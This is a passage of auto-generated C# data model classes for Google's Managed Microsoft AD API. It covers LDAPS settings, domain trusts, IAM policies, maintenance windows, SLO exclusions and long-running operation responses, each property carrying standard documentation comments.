/// is supported by the subsystem exporting eligibility data as long as such extension is committed at least 10
/// minutes before the original exclusion expiration - otherwise it is possible that there will be "gaps" in the
/// exclusion application in the exported timeseries.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("duration")]
public virtual object Duration { get; set; }
/// <summary>
/// Human-readable reason for the exclusion. This should be a static string (e.g. "Disruptive update in
/// progress") and should not contain dynamically generated data (e.g. instance name). Can be left empty.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("reason")]
public virtual string Reason { get; set; }
/// <summary>
/// Name of an SLI that this exclusion applies to. Can be left empty, signaling that the instance should be
/// excluded from all SLIs.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("sliName")]
public virtual string SliName { get; set; }
/// <summary>Start time of the exclusion. No alignment (e.g. to a full minute) needed.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("startTime")]
public virtual object StartTime { get; set; }
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
/// <summary>SloMetadata contains resources required for proper SLO classification of the instance.</summary>
public class GoogleCloudSaasacceleratorManagementProvidersV1SloMetadata : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>
/// List of SLO exclusion windows. When multiple entries in the list match (matching the exclusion time-window
/// against current time point) the exclusion reason used in the first matching entry will be published. It is
/// not needed to include expired exclusion in this list, as only the currently applicable exclusions are taken
/// into account by the eligibility exporting subsystem (the historical state of exclusions will be reflected in
/// the historically produced timeseries regardless of the current state). This field can be used to mark the
/// instance as temporary ineligible for the purpose of SLO calculation. For permanent instance SLO exclusion,
/// use of custom instance eligibility is recommended. See 'eligibility' field below.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("exclusions")]
public virtual System.Collections.Generic.IList<GoogleCloudSaasacceleratorManagementProvidersV1SloExclusion> Exclusions { get; set; }
/// <summary>
/// Optional. List of nodes. Some producers need to use per-node metadata to calculate SLO. This field allows
/// such producers to publish per-node SLO meta data, which will be consumed by SSA Eligibility Exporter and
/// published in the form of per node metric to Monarch.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("nodes")]
public virtual System.Collections.Generic.IList<GoogleCloudSaasacceleratorManagementProvidersV1NodeSloMetadata> Nodes { get; set; }
/// <summary>Optional. Multiple per-instance SLI eligibilities which apply for individual SLIs.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("perSliEligibility")]
public virtual GoogleCloudSaasacceleratorManagementProvidersV1PerSliSloEligibility PerSliEligibility { get; set; }
/// <summary>
/// Name of the SLO tier the Instance belongs to. This name will be expected to match the tiers specified in the
/// service SLO configuration. Field is mandatory and must not be empty.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("tier")]
public virtual string Tier { get; set; }
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
/// <summary>
/// LDAPSSettings represents the ldaps settings for domain resource. LDAP is the Lightweight Directory Access
/// Protocol, defined in https://tools.ietf.org/html/rfc4511. The settings object configures LDAP over SSL/TLS,
/// whether it is over port 636 or the StartTLS operation. If LDAPSSettings is being changed, it will be placed into
/// the UPDATING state, which indicates that the resource is being reconciled. At this point, Get will reflect an
/// intermediate state.
/// </summary>
public class LDAPSSettings : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>
/// Output only. The certificate used to configure LDAPS. Certificates can be chained with a maximum length of
/// 15.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("certificate")]
public virtual Certificate Certificate { get; set; }
/// <summary>Input only. The password used to encrypt the uploaded pfx certificate.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("certificatePassword")]
public virtual string CertificatePassword { get; set; }
/// <summary>
/// Input only. The uploaded PKCS12-formatted certificate to configure LDAPS with. It will enable the domain
/// controllers in this domain to accept LDAPS connections (either LDAP over SSL/TLS or the StartTLS operation).
/// A valid certificate chain must form a valid x.509 certificate chain (or be comprised of a single self-signed
/// certificate. It must be encrypted with either: 1) PBES2 + PBKDF2 + AES256 encryption and SHA256 PRF; or 2)
/// pbeWithSHA1And3-KeyTripleDES-CBC Private key must be included for the leaf / single self-signed certificate.
/// Note: For a fqdn your-example-domain.com, the wildcard fqdn is *.your-example-domain.com. Specifically the
/// leaf certificate must have: - Either a blank subject or a subject with CN matching the wildcard fqdn. -
/// Exactly two SANs - the fqdn and wildcard fqdn. - Encipherment and digital key signature key usages. - Server
/// authentication extended key usage (OID=1.3.6.1.5.5.7.3.1) - Private key must be in one of the following
/// formats: RSA, ECDSA, ED25519. - Private key must have appropriate key length: 2048 for RSA, 256 for ECDSA -
/// Signature algorithm of the leaf certificate cannot be MD2, MD5 or SHA1.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("certificatePfx")]
public virtual string CertificatePfx { get; set; }
/// <summary>
/// The resource name of the LDAPS settings. Uses the form:
/// `projects/{project}/locations/{location}/domains/{domain}`.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("name")]
public virtual string Name { get; set; }
/// <summary>Output only. The current state of this LDAPS settings.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("state")]
public virtual string State { get; set; }
/// <summary>Output only. Last update time.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("updateTime")]
public virtual object UpdateTime { get; set; }
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
/// <summary>Response message for ListDomains</summary>
public class ListDomainsResponse : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>A list of Managed Identities Service domains in the project.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("domains")]
public virtual System.Collections.Generic.IList<Domain> Domains { get; set; }
/// <summary>
/// A token to retrieve the next page of results, or empty if there are no more results in the list.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("nextPageToken")]
public virtual string NextPageToken { get; set; }
/// <summary>A list of locations that could not be reached.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("unreachable")]
public virtual System.Collections.Generic.IList<string> Unreachable { get; set; }
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
/// <summary>The response message for Locations.ListLocations.</summary>
public class ListLocationsResponse : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>A list of locations that matches the specified filter in the request.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("locations")]
public virtual System.Collections.Generic.IList<Location> Locations { get; set; }
/// <summary>The standard List next-page token.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("nextPageToken")]
public virtual string NextPageToken { get; set; }
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
/// <summary>The response message for Operations.ListOperations.</summary>
public class ListOperationsResponse : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>The standard List next-page token.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("nextPageToken")]
public virtual string NextPageToken { get; set; }
/// <summary>A list of operations that matches the specified filter in the request.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("operations")]
public virtual System.Collections.Generic.IList<Operation> Operations { get; set; }
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
/// <summary>ListPeeringsResponse is the response message for ListPeerings method.</summary>
public class ListPeeringsResponse : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>
/// Token to retrieve the next page of results, or empty if there are no more results in the list.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("nextPageToken")]
public virtual string NextPageToken { get; set; }
/// <summary>A list of Managed Identities Service Peerings in the project.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("peerings")]
public virtual System.Collections.Generic.IList<Peering> Peerings { get; set; }
/// <summary>Locations that could not be reached.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("unreachable")]
public virtual System.Collections.Generic.IList<string> Unreachable { get; set; }
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
/// <summary>ListSqlIntegrationsResponse is the response message for ListSqlIntegrations method.</summary>
public class ListSqlIntegrationsResponse : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>
/// Token to retrieve the next page of results, or empty if there are no more results in the list.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("nextPageToken")]
public virtual string NextPageToken { get; set; }
/// <summary>A list of SqlIntegrations of a domain.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("sqlIntegrations")]
public virtual System.Collections.Generic.IList<SqlIntegration> SqlIntegrations { get; set; }
/// <summary>A list of locations that could not be reached.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("unreachable")]
public virtual System.Collections.Generic.IList<string> Unreachable { get; set; }
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
/// <summary>A resource that represents Google Cloud Platform location.</summary>
public class Location : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>The friendly name for this location, typically a nearby city name. For example, "Tokyo".</summary>
[Newtonsoft.Json.JsonPropertyAttribute("displayName")]
public virtual string DisplayName { get; set; }
/// <summary>
/// Cross-service attributes for the location. For example {"cloud.googleapis.com/region": "us-east1"}
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("labels")]
public virtual System.Collections.Generic.IDictionary<string, string> Labels { get; set; }
/// <summary>The canonical id for this location. For example: `"us-east1"`.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("locationId")]
public virtual string LocationId { get; set; }
/// <summary>Service-specific metadata. For example the available capacity at the given location.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("metadata")]
public virtual System.Collections.Generic.IDictionary<string, object> Metadata { get; set; }
/// <summary>
/// Resource name for the location, which may vary between implementations. For example:
/// `"projects/example-project/locations/us-east1"`
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("name")]
public virtual string Name { get; set; }
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
/// <summary>Defines policies to service maintenance events.</summary>
public class MaintenancePolicy : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>Output only. The time when the resource was created.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("createTime")]
public virtual object CreateTime { get; set; }
/// <summary>
/// Optional. Description of what this policy is for. Create/Update methods return INVALID_ARGUMENT if the
/// length is greater than 512.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("description")]
public virtual string Description { get; set; }
/// <summary>
/// Optional. Resource labels to represent user provided metadata. Each label is a key-value pair, where both
/// the key and the value are arbitrary strings provided by the user.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("labels")]
public virtual System.Collections.Generic.IDictionary<string, string> Labels { get; set; }
/// <summary>
/// Required. MaintenancePolicy name using the form:
/// `projects/{project_id}/locations/{location_id}/maintenancePolicies/{maintenance_policy_id}` where
/// {project_id} refers to a GCP consumer project ID, {location_id} refers to a GCP region/zone,
/// {maintenance_policy_id} must be 1-63 characters long and match the regular expression
/// `[a-z0-9]([-a-z0-9]*[a-z0-9])?`.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("name")]
public virtual string Name { get; set; }
/// <summary>Optional. The state of the policy.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("state")]
public virtual string State { get; set; }
/// <summary>Maintenance policy applicable to instance update.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("updatePolicy")]
public virtual UpdatePolicy UpdatePolicy { get; set; }
/// <summary>Output only. The time when the resource was updated.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("updateTime")]
public virtual object UpdateTime { get; set; }
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
/// <summary>MaintenanceWindow definition.</summary>
public class MaintenanceWindow : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>Daily cycle.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("dailyCycle")]
public virtual DailyCycle DailyCycle { get; set; }
/// <summary>Weekly cycle.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("weeklyCycle")]
public virtual WeeklyCycle WeeklyCycle { get; set; }
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
/// <summary>This resource represents a long-running operation that is the result of a network API call.</summary>
public class Operation : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>
/// If the value is `false`, it means the operation is still in progress. If `true`, the operation is completed,
/// and either `error` or `response` is available.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("done")]
public virtual System.Nullable<bool> Done { get; set; }
/// <summary>The error result of the operation in case of failure or cancellation.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("error")]
public virtual Status Error { get; set; }
/// <summary>
/// Service-specific metadata associated with the operation. It typically contains progress information and
/// common metadata such as create time. Some services might not provide such metadata. Any method that returns
/// a long-running operation should document the metadata type, if any.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("metadata")]
public virtual System.Collections.Generic.IDictionary<string, object> Metadata { get; set; }
/// <summary>
/// The server-assigned name, which is only unique within the same service that originally returns it. If you
/// use the default HTTP mapping, the `name` should be a resource name ending with `operations/{unique_id}`.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("name")]
public virtual string Name { get; set; }
/// <summary>
/// The normal response of the operation in case of success. If the original method returns no data on success,
/// such as `Delete`, the response is `google.protobuf.Empty`. If the original method is standard
/// `Get`/`Create`/`Update`, the response should be the resource. For other methods, the response should have
/// the type `XxxResponse`, where `Xxx` is the original method name. For example, if the original method name is
/// `TakeSnapshot()`, the inferred response type is `TakeSnapshotResponse`.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("response")]
public virtual System.Collections.Generic.IDictionary<string, object> Response { get; set; }
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
/// <summary>Represents the metadata of the long-running operation.</summary>
public class OperationMetadata : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>Output only. API version used to start the operation.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("apiVersion")]
public virtual string ApiVersion { get; set; }
/// <summary>
/// Output only. Identifies whether the user has requested cancellation of the operation. Operations that have
/// successfully been cancelled have Operation.error value with a google.rpc.Status.code of 1, corresponding to
/// `Code.CANCELLED`.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("cancelRequested")]
public virtual System.Nullable<bool> CancelRequested { get; set; }
/// <summary>Output only. The time the operation was created.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("createTime")]
public virtual object CreateTime { get; set; }
/// <summary>Output only. The time the operation finished running.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("endTime")]
public virtual object EndTime { get; set; }
/// <summary>Output only. Human-readable status of the operation, if any.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("statusDetail")]
public virtual string StatusDetail { get; set; }
/// <summary>Output only. Server-defined resource path for the target of the operation.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("target")]
public virtual string Target { get; set; }
/// <summary>Output only. Name of the verb executed by the operation.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("verb")]
public virtual string Verb { get; set; }
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
/// <summary>Represents a Managed Microsoft Identities Peering.</summary>
public class Peering : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>
/// Required. The full names of the Google Compute Engine
/// [networks](/compute/docs/networks-and-firewalls#networks) to which the instance is connected. Caller needs
/// to make sure that CIDR subnets do not overlap between networks, else peering creation will fail.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("authorizedNetwork")]
public virtual string AuthorizedNetwork { get; set; }
/// <summary>Output only. The time the instance was created.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("createTime")]
public virtual object CreateTime { get; set; }
/// <summary>
/// Required. Full domain resource path for the Managed AD Domain involved in peering. The resource path should
/// be in the form: `projects/{project_id}/locations/global/domains/{domain_name}`
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("domainResource")]
public virtual string DomainResource { get; set; }
/// <summary>Optional. Resource labels to represent user provided metadata.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("labels")]
public virtual System.Collections.Generic.IDictionary<string, string> Labels { get; set; }
/// <summary>
/// Output only. Unique name of the peering in this scope including projects and location using the form:
/// `projects/{project_id}/locations/global/peerings/{peering_id}`.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("name")]
public virtual string Name { get; set; }
/// <summary>Output only. The current state of this Peering.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("state")]
public virtual string State { get; set; }
/// <summary>
/// Output only. Additional information about the current status of this peering, if available.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("statusMessage")]
public virtual string StatusMessage { get; set; }
/// <summary>Output only. Last update time.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("updateTime")]
public virtual object UpdateTime { get; set; }
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
/// <summary>
/// An Identity and Access Management (IAM) policy, which specifies access controls for Google Cloud resources. A
/// `Policy` is a collection of `bindings`. A `binding` binds one or more `members` to a single `role`. Members can
/// be user accounts, service accounts, Google groups, and domains (such as G Suite). A `role` is a named list of
/// permissions; each `role` can be an IAM predefined role or a user-created custom role. For some types of Google
/// Cloud resources, a `binding` can also specify a `condition`, which is a logical expression that allows access to
/// a resource only if the expression evaluates to `true`. A condition can add constraints based on attributes of
/// the request, the resource, or both. To learn which resources support conditions in their IAM policies, see the
/// [IAM documentation](https://cloud.google.com/iam/help/conditions/resource-policies). **JSON example:** {
/// "bindings": [ { "role": "roles/resourcemanager.organizationAdmin", "members": [ "user:mike@example.com",
/// "group:admins@example.com", "domain:google.com", "serviceAccount:my-project-id@appspot.gserviceaccount.com" ] },
/// { "role": "roles/resourcemanager.organizationViewer", "members": [ "user:eve@example.com" ], "condition": {
/// "title": "expirable access", "description": "Does not grant access after Sep 2020", "expression": "request.time
/// &lt; timestamp('2020-10-01T00:00:00.000Z')", } } ], "etag": "BwWWja0YfJA=", "version": 3 } **YAML example:**
/// bindings: - members: - user:mike@example.com - group:admins@example.com - domain:google.com -
/// serviceAccount:my-project-id@appspot.gserviceaccount.com role: roles/resourcemanager.organizationAdmin -
/// members: - user:eve@example.com role: roles/resourcemanager.organizationViewer condition: title: expirable
/// access description: Does not grant access after Sep 2020 expression: request.time &lt;
/// timestamp('2020-10-01T00:00:00.000Z') - etag: BwWWja0YfJA= - version: 3 For a description of IAM and its
/// features, see the [IAM documentation](https://cloud.google.com/iam/docs/).
/// </summary>
public class Policy : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>
/// Associates a list of `members` to a `role`. Optionally, may specify a `condition` that determines how and
/// when the `bindings` are applied. Each of the `bindings` must contain at least one member.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("bindings")]
public virtual System.Collections.Generic.IList<Binding> Bindings { get; set; }
/// <summary>
/// `etag` is used for optimistic concurrency control as a way to help prevent simultaneous updates of a policy
/// from overwriting each other. It is strongly suggested that systems make use of the `etag` in the
/// read-modify-write cycle to perform policy updates in order to avoid race conditions: An `etag` is returned
/// in the response to `getIamPolicy`, and systems are expected to put that etag in the request to
/// `setIamPolicy` to ensure that their change will be applied to the same version of the policy. **Important:**
/// If you use IAM Conditions, you must include the `etag` field whenever you call `setIamPolicy`. If you omit
/// this field, then IAM allows you to overwrite a version `3` policy with a version `1` policy, and all of the
/// conditions in the version `3` policy are lost.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("etag")]
public virtual string ETag { get; set; }
/// <summary>
/// Specifies the format of the policy. Valid values are `0`, `1`, and `3`. Requests that specify an invalid
/// value are rejected. Any operation that affects conditional role bindings must specify version `3`. This
/// requirement applies to the following operations: * Getting a policy that includes a conditional role binding
/// * Adding a conditional role binding to a policy * Changing a conditional role binding in a policy * Removing
/// any role binding, with or without a condition, from a policy that includes conditions **Important:** If you
/// use IAM Conditions, you must include the `etag` field whenever you call `setIamPolicy`. If you omit this
/// field, then IAM allows you to overwrite a version `3` policy with a version `1` policy, and all of the
/// conditions in the version `3` policy are lost. If a policy does not include any conditions, operations on
/// that policy may specify any valid version or leave the field unset. To learn which resources support
/// conditions in their IAM policies, see the [IAM
/// documentation](https://cloud.google.com/iam/help/conditions/resource-policies).
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("version")]
public virtual System.Nullable<int> Version { get; set; }
}
/// <summary>Request message for ReconfigureTrust</summary>
public class ReconfigureTrustRequest : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>
/// Required. The target DNS server IP addresses to resolve the remote domain involved in the trust.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("targetDnsIpAddresses")]
public virtual System.Collections.Generic.IList<string> TargetDnsIpAddresses { get; set; }
/// <summary>
/// Required. The fully-qualified target domain name which will be in trust with current domain.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("targetDomainName")]
public virtual string TargetDomainName { get; set; }
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
/// <summary>Request message for ResetAdminPassword</summary>
public class ResetAdminPasswordRequest : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
/// <summary>Response message for ResetAdminPassword</summary>
public class ResetAdminPasswordResponse : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>A random password. See admin for more information.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("password")]
public virtual string Password { get; set; }
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
/// <summary>Configure the schedule.</summary>
public class Schedule : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>Allows to define schedule that runs specified day of the week.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("day")]
public virtual string Day { get; set; }
/// <summary>Output only. Duration of the time window, set by service producer.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("duration")]
public virtual object Duration { get; set; }
/// <summary>Time within the window to start the operations.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("startTime")]
public virtual TimeOfDay StartTime { get; set; }
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
/// <summary>Request message for `SetIamPolicy` method.</summary>
public class SetIamPolicyRequest : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>
/// REQUIRED: The complete policy to be applied to the `resource`. The size of the policy is limited to a few
/// 10s of KB. An empty policy is a valid policy but certain Cloud Platform services (such as Projects) might
/// reject them.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("policy")]
public virtual Policy Policy { get; set; }
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
/// <summary>Represents the Sql instance integrated with AD.</summary>
public class SqlIntegration : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>Output only. The time sql integration was created.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("createTime")]
public virtual object CreateTime { get; set; }
/// <summary>
/// The unique name of the sql integration in the form of
/// `projects/{project_id}/locations/global/domains/{domain_name}/sqlIntegrations/{sql_integration}`
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("name")]
public virtual string Name { get; set; }
/// <summary>The full resource name of an integrated sql instance</summary>
[Newtonsoft.Json.JsonPropertyAttribute("sqlInstance")]
public virtual string SqlInstance { get; set; }
/// <summary>Output only. The current state of the sql integration.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("state")]
public virtual string State { get; set; }
/// <summary>Output only. The time sql integration was updated.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("updateTime")]
public virtual object UpdateTime { get; set; }
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
/// <summary>
/// The `Status` type defines a logical error model that is suitable for different programming environments,
/// including REST APIs and RPC APIs. It is used by [gRPC](https://github.com/grpc). Each `Status` message contains
/// three pieces of data: error code, error message, and error details. You can find out more about this error model
/// and how to work with it in the [API Design Guide](https://cloud.google.com/apis/design/errors).
/// </summary>
public class Status : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>The status code, which should be an enum value of google.rpc.Code.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("code")]
public virtual System.Nullable<int> Code { get; set; }
/// <summary>
/// A list of messages that carry the error details. There is a common set of message types for APIs to use.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("details")]
public virtual System.Collections.Generic.IList<System.Collections.Generic.IDictionary<string, object>> Details { get; set; }
/// <summary>
/// A developer-facing error message, which should be in English. Any user-facing error message should be
/// localized and sent in the google.rpc.Status.details field, or localized by the client.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("message")]
public virtual string Message { get; set; }
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
/// <summary>Request message for `TestIamPermissions` method.</summary>
public class TestIamPermissionsRequest : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>
/// The set of permissions to check for the `resource`. Permissions with wildcards (such as '*' or 'storage.*')
/// are not allowed. For more information see [IAM
/// Overview](https://cloud.google.com/iam/docs/overview#permissions).
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("permissions")]
public virtual System.Collections.Generic.IList<string> Permissions { get; set; }
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
/// <summary>Response message for `TestIamPermissions` method.</summary>
public class TestIamPermissionsResponse : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>A subset of `TestPermissionsRequest.permissions` that the caller is allowed.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("permissions")]
public virtual System.Collections.Generic.IList<string> Permissions { get; set; }
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
/// <summary>
/// Represents a time of day. The date and time zone are either not significant or are specified elsewhere. An API
/// may choose to allow leap seconds. Related types are google.type.Date and `google.protobuf.Timestamp`.
/// </summary>
public class TimeOfDay : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>
/// Hours of day in 24 hour format. Should be from 0 to 23. An API may choose to allow the value "24:00:00" for
/// scenarios like business closing time.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("hours")]
public virtual System.Nullable<int> Hours { get; set; }
/// <summary>Minutes of hour of day. Must be from 0 to 59.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("minutes")]
public virtual System.Nullable<int> Minutes { get; set; }
/// <summary>Fractions of seconds in nanoseconds. Must be from 0 to 999,999,999.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("nanos")]
public virtual System.Nullable<int> Nanos { get; set; }
/// <summary>
/// Seconds of minutes of the time. Must normally be from 0 to 59. An API may allow the value 60 if it allows
/// leap-seconds.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("seconds")]
public virtual System.Nullable<int> Seconds { get; set; }
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
/// <summary>
/// Represents a relationship between two domains. This allows a controller in one domain to authenticate a user in
/// another domain.
/// </summary>
public class Trust : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>Output only. The time the instance was created.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("createTime")]
public virtual object CreateTime { get; set; }
/// <summary>Output only. The last heartbeat time when the trust was known to be connected.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("lastTrustHeartbeatTime")]
public virtual object LastTrustHeartbeatTime { get; set; }
/// <summary>
/// The trust authentication type, which decides whether the trusted side has forest/domain wide access or
/// selective access to an approved set of resources.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("selectiveAuthentication")]
public virtual System.Nullable<bool> SelectiveAuthentication { get; set; }
/// <summary>Output only. The current state of the trust.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("state")]
public virtual string State { get; set; }
/// <summary>Output only. Additional information about the current state of the trust, if available.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("stateDescription")]
public virtual string StateDescription { get; set; }
/// <summary>
/// The target DNS server IP addresses which can resolve the remote domain involved in the trust.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("targetDnsIpAddresses")]
public virtual System.Collections.Generic.IList<string> TargetDnsIpAddresses { get; set; }
/// <summary>The fully qualified target domain name which will be in trust with the current domain.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("targetDomainName")]
public virtual string TargetDomainName { get; set; }
/// <summary>The trust direction, which decides if the current domain is trusted, trusting, or both.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("trustDirection")]
public virtual string TrustDirection { get; set; }
/// <summary>
/// Input only. The trust secret used for the handshake with the target domain. It will not be stored.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("trustHandshakeSecret")]
public virtual string TrustHandshakeSecret { get; set; }
/// <summary>The type of trust represented by the trust resource.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("trustType")]
public virtual string TrustType { get; set; }
/// <summary>Output only. The last update time.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("updateTime")]
public virtual object UpdateTime { get; set; }
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
/// <summary>Maintenance policy applicable to instance updates.</summary>
public class UpdatePolicy : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>Optional. Relative scheduling channel applied to resource.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("channel")]
public virtual string Channel { get; set; }
/// <summary>
/// Deny Maintenance Period that is applied to resource to indicate when maintenance is forbidden. User can
/// specify zero or more non-overlapping deny periods. For V1, Maximum number of deny_maintenance_periods is
/// expected to be one.
/// </summary>
[Newtonsoft.Json.JsonPropertyAttribute("denyMaintenancePeriods")]
public virtual System.Collections.Generic.IList<DenyMaintenancePeriod> DenyMaintenancePeriods { get; set; }
/// <summary>Optional. Maintenance window that is applied to resources covered by this policy.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("window")]
public virtual MaintenanceWindow Window { get; set; }
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
/// <summary>Request message for ValidateTrust</summary>
public class ValidateTrustRequest : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>Required. The domain trust to validate trust state for.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("trust")]
